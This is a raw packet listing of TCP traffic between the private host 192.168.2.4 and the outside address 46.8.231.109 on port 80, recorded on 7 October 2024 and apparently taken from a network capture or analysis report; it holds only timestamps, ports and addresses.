Oct 7, 2024 03:03:12.169014931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169029951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169049978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169065952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169100046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169106007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169140100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169162035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169174910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169184923 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169214964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169223070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169250965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169264078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169298887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169303894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169338942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169353008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169373035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169393063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169406891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169425011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169440985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169452906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169476032 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169492006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169512987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169528008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169549942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169565916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169585943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169601917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169637918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169641972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169672966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169696093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169711113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169717073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169748068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169763088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169783115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169797897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169819117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169831991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169857025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169868946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169899940 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169907093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169934988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169950962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.169970989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.169986010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170006037 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170022011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170042992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170056105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170077085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170093060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170114040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170128107 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170166969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170170069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170202971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170214891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170238972 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170253992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170275927 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170289993 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170310974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170326948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170346022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170361996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170386076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170392036 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170423031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170439005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170456886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170474052 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170491934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170509100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170526981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170542002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170562029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170578957 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170598984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170614958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170634031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170644999 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170670986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170685053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170707941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170726061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170742989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170756102 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170779943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170789003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170815945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170828104 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170852900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170866013 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170890093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170907021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170928001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.170942068 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.170978069 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.347547054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.353153944 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.524964094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525029898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525029898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525065899 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525077105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525103092 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525109053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525147915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525156021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525192976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525199890 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525227070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525234938 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525263071 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525269032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525310040 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525316000 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525352955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525357962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525388002 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525397062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525424004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525429964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525458097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525468111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525494099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525499105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525537014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525547028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525583029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525593042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525618076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525625944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525660992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525665998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525707960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525721073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525758028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525763988 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525791883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525799990 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525826931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525835037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525871038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525871038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525906086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525913000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525939941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525949001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.525974035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.525980949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526009083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526016951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526043892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526050091 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526078939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526086092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526122093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526134968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526168108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526177883 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526201963 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526209116 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526236057 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526242971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526278019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526288986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526319981 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526330948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526360989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526372910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526407957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526418924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526441097 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526452065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526475906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526480913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526514053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526519060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526549101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526554108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526582956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526590109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526618004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526627064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526652098 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526658058 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526689053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526695967 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526722908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526732922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526758909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526767015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526793957 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526801109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526829004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526837111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526864052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526871920 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526900053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526907921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526936054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526942015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.526971102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.526977062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527005911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527013063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527040958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527050972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527076960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527084112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527113914 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527117014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527148008 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527156115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527183056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527189970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527215958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527230024 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527251005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527256966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527285099 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527291059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527322054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527327061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527357101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527363062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527399063 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527419090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527452946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527465105 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527487993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527493954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527522087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527535915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527559042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527564049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527592897 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527596951 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527630091 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.527699947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.527699947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605535030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605582952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605618954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605637074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605658054 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605674982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605689049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605700970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605703115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605720043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605731964 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605739117 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605752945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605777025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605783939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605827093 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605840921 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605876923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605889082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605909109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605925083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605947971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605954885 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.605986118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.605995893 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606018066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606033087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606053114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606065989 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606092930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606100082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606123924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606138945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606168032 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606184959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606237888 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606241941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606276035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606285095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606323004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606328964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606359005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606378078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606399059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606411934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606462955 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606466055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606501102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606509924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606545925 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606554031 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606590033 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606601000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606637001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606663942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606698990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606714010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606731892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606745005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606766939 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606769085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606798887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606812954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606843948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606865883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606901884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606914997 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606946945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.606956005 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.606992006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607007027 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607034922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607058048 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607094049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607106924 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607141018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607147932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607182980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607193947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607217073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607228041 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607253075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:12.607270002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:12.607295036 CEST	49731	80	192.168.2.4	46.8.231.109
